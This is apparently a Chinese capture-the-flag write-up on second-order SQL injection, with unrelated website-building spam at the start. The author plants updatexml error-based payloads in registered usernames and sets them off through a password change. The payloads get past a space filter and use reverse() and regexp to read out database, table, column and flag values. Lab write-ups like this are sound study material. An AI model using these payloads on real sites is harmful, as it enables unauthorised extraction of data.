ssh蒙语网站开发,风格网站,wordpress物流主题,淘客网站是怎么做的今天也是sql注入的新类型---二次注入。不得不说花样真的多哦。 既然真的是sql注入了。那就不测试其他地方了。现在注册进去看一下界面 单纯的回显了名字。源代码里发现user.php。 可以修改密码#xff1f;二次注入应该就在用户名这里了。因为修改密码时#xff0c;用户名会被…今天也是sql注入的新类型---二次注入。不得不说花样真的多哦。 既然真的是sql注入了。那就不测试其他地方了。现在注册进去看一下界面 单纯的回显了名字。源代码里发现user.php。 可以修改密码二次注入应该就在用户名这里了。因为修改密码时用户名会被带入sql执行这时就可以绕过waf。测试了一下这里修改密码不会有回显提示所以不能常规注入盲注也不行。最后这里只能考虑报错注入。
然后查看闭合注册用户名为单引号修改密码时没报错而双引号却报错了。这说明后端闭合是使用双引号。因为双引号造成了闭合错误。同时过滤了空格使用括号绕过即可。
最后fuzz一下看看过滤了哪些吧。过滤如下 没有伤到主体函数。直接开始注入
1.获取数据库
用户名:1or(updatexml(1,concat(0x7e,database(),0x7e),1))#
然后登录去修改密码 ok哦没毛病 。继续注入表名。
用户名:1or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)web_sqli),0x7e),1))# 这里我就不卖关子了。ctf今典骗术flag表。真的flag在users表里
用户名:1or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)users),0x7e),1))# 很明显这里还限制回显长度。real_flag_1s_here才对。但是它又过滤了rightleftmid等函数。
还有一个函数reverse倒过来输出。
用户名:1or(updatexml(3,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(^f))),0x7e),3))#
reverse:把结果倒着输出
where(real_flag_1s_here)regexp(^f):在这个列名的结果里匹配f开头的字符串 还是没打印完全。正向在匹配一次。把reverse删除即可
用户名:1or(updatexml(3,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(^f)),0x7e),3))# 把flag整合一下就好了。